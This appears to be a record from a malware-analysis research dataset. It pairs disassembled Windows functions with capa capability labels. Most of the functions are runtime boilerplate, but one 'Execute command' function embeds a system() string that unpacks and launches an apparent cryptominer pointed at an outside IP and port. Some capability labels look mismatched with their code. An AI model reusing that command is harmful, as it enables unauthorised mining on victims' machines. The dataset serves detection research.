joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001943c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x1400306f8], rbx
je 0x1400194a3
cmp rax, rbx
jne 0x140019496
mov ebx, 1
mov esi, ebx
jmp 0x1400194a8
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14001947b
mov ebx, 1
mov eax, dword [0x140030700]
cmp eax, ebx
jne 0x1400194c0
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14001952c
mov eax, dword [0x140030700]
test eax, eax
jne 0x140019521
mov dword [0x140030700], ebx
lea r15, [0x14001dcb8]
lea rdi, [0x14001dca0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x140019513
test eax, eax
jne 0x140019517
cmp qword [rdi], r14
je 0x140019508
mov rax, qword [rdi]
mov rcx, qword [0x14001dc18]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400194ea
test eax, eax
je 0x140019527
mov eax, 0xff
jmp 0x140019682
mov dword [0x14002ffb4], ebx
mov edi, 0x1f
mov eax, dword [0x140030700]
cmp eax, ebx
jne 0x140019553
lea rdx, [0x14001dc98]
lea rcx, [0x14001dc20]
call sub.msvcrt.dll__initterm
mov dword [0x140030700], 2
test esi, esi
jne 0x140019561
mov rax, r14
xchg qword [0x1400306f8], rax
cmp qword [0x140030718], r14
je 0x140019594
lea rcx, [0x140030718]
call fcn.140019a50
test eax, eax
je 0x140019594
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140030718]
mov r9, qword [0x14001dc18]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x1400195ad
mov eax, 0xff
jmp 0x140019682
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x140019633
test ax, ax
je 0x1400195c8
test edx, edx
jne 0x140019633
sub ax, bx
cmp ax, di
ja 0x1400195de
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x1400195c8
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140003e4c
mov dword [0x14002ffb0], eax
cmp dword [0x14002ffd0], r14d
jne 0x14001961c
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14002ffb4], r14d
jne 0x140019631
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14002ffb0]
jmp 0x140019682
cmp ax, 0x22
jne 0x140019647
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400195b6
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1401a9000
add rsp, 0x28
jmp 0x14001943c
Function at 0x140001591
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call fcn.140001690
lea rcx, str.cd_C:UsersPublic__7.exe_x_runing.7z__cd_C:UsersPublic_runing__runing.exe__o_103.106.228.22:5335___cpu___cpu_max_threads_hint_60__B
call sub.msvcrt.dll_system
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x1400015c1
lea rcx, str.succ_n
call fcn.140001540
jmp 0x1400015cd
lea rcx, str.error_n
call fcn.140001540
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x1400018b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400117e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400117e0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140001920
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400170b4]
mov r12, rcx
test ebx, ebx
jle 0x140001a50
mov rax, qword [0x1400170b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000196c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400019f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140001950
mov rcx, r12
call fcn.1400022c0
mov rsi, rax
test rax, rax
je 0x140001a72
mov rax, qword [0x1400170b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1400023f0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400170b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400019ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a00
add dword [0x1400170b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400170b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400018b0
nop dword [rax]
xor ebx, ebx
jmp 0x140001977
mov rax, qword [0x1400170b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400018b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400018b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001f30
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140017120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140017100]
test rbx, rbx
je 0x140001f84
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140001f7b
test r12, r12
je 0x140001f7b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f60
lea rcx, [0x140017120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400022c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400139a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002335
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000232c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022e0
add rax, 0x28
cmp rax, r9
jne 0x140002318
xor eax, eax
ret

Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400139a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002360
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002368
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002360
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1400023f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400139a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002410
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002418
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140003be0
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x140013a20]
mov rax, qword [rsi]
test rax, rax
je 0x140003c70
cmp qword [rax + 0x30], 0
jne 0x140003c90
lea rbx, [0x140012078]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x140003c40
cmp qword [rax + 0x30], 0
jne 0x140003c60
lea rdx, [0x140012078]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x140011970
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140008ae0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x140003c22
test rax, rax
jne 0x140003c60
call fcn.140008ae0
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x140003c30
call fcn.140008ae0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140003c00
test rax, rax
jne 0x140003c90
call fcn.140008ae0
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x140003c0b
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2
Function at 0x140003ca0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x140003db2
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x140003d8a
add rax, 1
cmp rax, 0x6b
je 0x140003da7
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x140003d80
cmp edx, 0x6a
je 0x140003da7
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x140003d9b
Function at 0x1400047c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rsi, qword [0x140013a20]
mov rax, qword [rsi]
test rax, rax
je 0x1400049b0
cmp qword [rax + 0x28], 0
jne 0x140004998
lea rcx, [0x1400171d8]
cmp dword [rcx], 1
mov qword [rax + 0x28], rcx
je 0x1400049a5
call fcn.140003dd0
mov rax, qword [rsi]
test rax, rax
je 0x140004840
cmp qword [rax + 0x30], 0
jne 0x140004860
lea rdx, [0x140012078]
mov qword [rax + 0x30], rdx
mov rax, rdx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x140004874
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call fcn.140008ae0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140004810
test rax, rax
jne 0x140004860
call fcn.140008ae0
nop dword [rax]
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
jne 0x14000482e
call fcn.140003910
cmp qword [0x140019050], 0
mov rbx, rax
je 0x14000482e
test rax, rax
je 0x14000482e
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.14000a980
cmp eax, 1
je 0x140004a1d
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x140011976
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [rsi]
test rax, rax
je 0x1400049f8
cmp qword [rax + 0x30], 0
je 0x1400049e0
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x140011976
mov r12, rbx
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1400047fc
mov rax, qword [rsi]
jmp 0x140004809
call fcn.140008ae0
cmp qword [rax + 0x28], 0
mov rax, qword [rsi]
je 0x1400047e8
test rax, rax
jne 0x140004998
call fcn.140008ae0
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1400047fc
jmp 0x140004801
lea rdx, [0x140012078]
mov qword [rax + 0x30], rdx
mov rax, rdx
jmp 0x14000496e
call fcn.140008ae0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x1400049e0
test rax, rax
jne 0x14000496a
call fcn.140008ae0
jmp 0x14000496a
call fcn.140003ca0
nop word cs:[rax + rax]
nop dword [rax]
mov rax, qword [0x140013a20]
mov rdx, qword [rax]
lea rax, [0x1400171e8]
mov qword [rdx + 0x10], rax
ret
Function at 0x140008960
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008980
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x1400089c8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008974
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400089b5
Function at 0x140008ae0
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x1400172c0]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x140008b03
lea rax, [0x1400172c8]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x140008b4b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140008b48
lea rax, [0x140017300]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x140008b7b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140008b78
xor ecx, ecx
mov byte [0x140017319], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x140017322], rdx
lea r8, [0x1400172c0]
lea rbx, [0x14001731a]
mov qword [0x140017332], rdx
mov qword [0x140017342], rdx
mov qword [0x140017352], rdx
xor edx, edx
mov qword [0x14001731a], rax
mov qword [0x14001732a], rax
mov qword [0x14001733a], rax
mov qword [0x14001734a], rax
mov byte [0x14001735a], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008d56
lea rcx, [0x140017300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140008ca1
lea rsi, [0x140017200]
lea r8, [0x14001735a]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x140008c4d
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x140008c40
lea rcx, [0x140017300]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x140008d43
lea rcx, [0x1400089f0]
mov qword [0x140017200], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x140017200]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x140017300]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x14001735a]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x140008d76
nop dword [rax]
cmp byte [rax], 0x41
jne 0x140008cf3
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x140008ce0
mov rax, rdx
mov qword [0x140017200], rax
lea rsi, [0x140017200]
jmp 0x140008d19
cmp rdx, rsi
je 0x140008c7f
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x140008d10
cmp rdx, rsi
je 0x140008c7f
mov qword [rdx + 8], rsi
lea rcx, [0x1400089f0]
call sub.msvcrt.dll__onexit
jmp 0x140008c7f
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.140008960
xor eax, eax
jmp 0x140008c98
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.140008960
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.140008960
xor eax, eax
jmp 0x140008cff
Function at 0x140005864
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400058ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400058ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400058ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400058ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400058ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400058b0
xor al, al
add rsp, 0x28
ret
Function at 0x140001060
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001093
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1400010d7
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x1400010d2
cmp rbx, r11
jae 0x1400010d7
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x1400010c0
cmp rbx, r11
jb 0x1400010db
xor eax, eax
jmp 0x1400010e7
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400019b0
Capabilities:
Compare security identifiers
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x30
xor esi, esi
mov rbp, r9
mov r12d, r8d
mov rdi, rdx
mov r13, rcx
mov qword [rsp + 0x58], rsi
test rdx, rdx
je 0x1400019fa
test r9, r9
je 0x1400019fa
lea r9d, [rsi + 2]
lea r8d, [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_GetAclInformation]
test eax, eax
jne 0x140001a01
xor eax, eax
jmp 0x140001b1c
mov qword [rsp + 0x50], rbx
cmp dword [rsp + 0x20], esi
jbe 0x140001b15
mov eax, esi
nop word [rax + rax]
lea r8, [rsp + 0x58]
mov edx, eax
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_GetAce]
test eax, eax
je 0x140001b05
mov rdx, qword [rsp + 0x58]
lea rcx, [rdi + 8]
add rdx, 8
call qword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x140001b05
mov rax, qword [rsp + 0x58]
movzx ecx, byte [rax]
cmp byte [rdi], cl
jne 0x140001b05
mov r8d, dword [r13 + 0x98]
mov edx, dword [rdi + 4]
mov rcx, r13
call fcn.140001920
mov rcx, qword [rsp + 0x58]
mov r8d, dword [r13 + 0x98]
mov edx, dword [rcx + 4]
mov rcx, r13
mov ebx, eax
call fcn.140001920
cmp ebx, eax
jne 0x140001b05
test r12d, r12d
je 0x140001afa
mov rax, qword [rsp + 0x58]
movzx edx, byte [rax + 1]
test dl, 1
jne 0x140001aaa
test dl, 2
je 0x140001b05
test dl, 4
je 0x140001ace
movzx ecx, byte [rdi + 1]
test cl, 1
jne 0x140001ada
test cl, 2
jne 0x140001ada
test cl, 8
jne 0x140001ada
test cl, 4
jne 0x140001ada
mov eax, 1
jmp 0x140001b17
mov cl, byte [rdi + 1]
movzx eax, cl
xor al, dl
test al, 0xb
je 0x140001ac7
test dl, 8
je 0x140001b05
test dl, 2
je 0x140001b05
test cl, 1
jne 0x140001b05
test cl, 2
jne 0x140001b05
test cl, 8
jne 0x140001b05
test cl, 4
je 0x140001ac7
jmp 0x140001b05
mov rax, qword [rsp + 0x58]
test byte [rax + 1], 1
jne 0x140001ac7
inc si
movzx eax, si
cmp eax, dword [rsp + 0x20]
jb 0x140001a20
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r13
pop r12
pop rdi
ret
Function at 0x140001b30
Capabilities:
Compare security identifiers
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
push rbx
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x58
xor edi, edi
mov rbx, r9
mov esi, r8d
mov r13, rdx
mov r14, rcx
mov qword [rax - 0x68], rdi
mov qword [rax + 0x10], rdi
test rdx, rdx
je 0x140001b85
mov r15, qword [rsp + 0xb0]
test r15, r15
je 0x140001b85
lea r9d, [rdi + 2]
lea r8d, [rdi + 0xc]
lea rdx, [rax - 0x60]
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_GetAclInformation]
test eax, eax
jne 0x140001b95
xor eax, eax
add rsp, 0x58
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
ret
mov r9d, 2
lea rdx, [rsp + 0x38]
mov rcx, r15
lea r8d, [r9 + 0xa]
call qword [sym.imp.ADVAPI32.dll_GetAclInformation]
test eax, eax
je 0x140001b85
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x50], r12
movzx r12d, di
cmp dword [rsp + 0x38], edi
jbe 0x140001d32
mov eax, edi
nop
lea r8, [rsp + 0x98]
mov edx, eax
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_GetAce]
test eax, eax
je 0x140001d20
test esi, esi
je 0x140001c09
mov rcx, qword [rsp + 0x98]
movzx eax, byte [rcx + 1]
test al, 1
jne 0x140001c1b
test al, 2
je 0x140001d20
jmp 0x140001c1b
mov rcx, qword [rsp + 0x98]
test byte [rcx + 1], 1
je 0x140001d20
mov rdx, qword [r14 + 0x1c0]
add rcx, 8
call qword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x140001c39
test esi, esi
jne 0x140001c39
mov rbp, rbx
jmp 0x140001c45
mov rbp, qword [rsp + 0x98]
add rbp, 8
cmp dword [rsp + 0x28], 0
jbe 0x140001d7b
xor eax, eax
nop word [rax + rax]
lea r8, [rsp + 0x20]
mov edx, eax
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_GetAce]
test eax, eax
je 0x140001d6b
mov rcx, qword [rsp + 0x20]
mov rdx, rbp
add rcx, 8
call qword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x140001d6b
mov rax, qword [rsp + 0x98]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x20]
cmp byte [rax], cl
jne 0x140001d6b
mov r8d, dword [r14 + 0x98]
mov edx, dword [rax + 4]
mov rcx, r14
call fcn.140001920
mov rcx, qword [rsp + 0x98]
mov r8d, dword [r14 + 0x98]
mov edx, dword [rcx + 4]
mov rcx, r14
mov ebx, eax
call fcn.140001920
cmp ebx, eax
jne 0x140001d6b
test esi, esi
je 0x140001d82
mov rax, qword [rsp + 0x98]
movzx ecx, byte [rax + 1]
test cl, 4
je 0x140001d4f
mov rax, qword [rsp + 0x20]
movzx ecx, byte [rax + 1]
test cl, 1
jne 0x140001d6b
test cl, 2
jne 0x140001d6b
test cl, 8
jne 0x140001d6b
test cl, 4
jne 0x140001d6b
mov rbx, qword [rsp + 0xa8]
xor edi, edi
inc r12w
movzx eax, r12w
cmp eax, dword [rsp + 0x38]
jb 0x140001bd0
xor eax, eax
mov rbp, qword [rsp + 0x90]
mov r12, qword [rsp + 0x50]
add rsp, 0x58
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
ret
mov rax, qword [rsp + 0x20]
movzx edx, byte [rax + 1]
movzx eax, dl
xor al, cl
test al, 3
jne 0x140001d6b
test dl, 8
je 0x140001d9a
test cl, 8
jne 0x140001d8e
inc di
movzx eax, di
cmp eax, dword [rsp + 0x28]
jb 0x140001c60
mov eax, 1
jmp 0x140001d34
mov rbx, qword [rsp + 0xa8]
xor edi, edi
jmp 0x140001d20
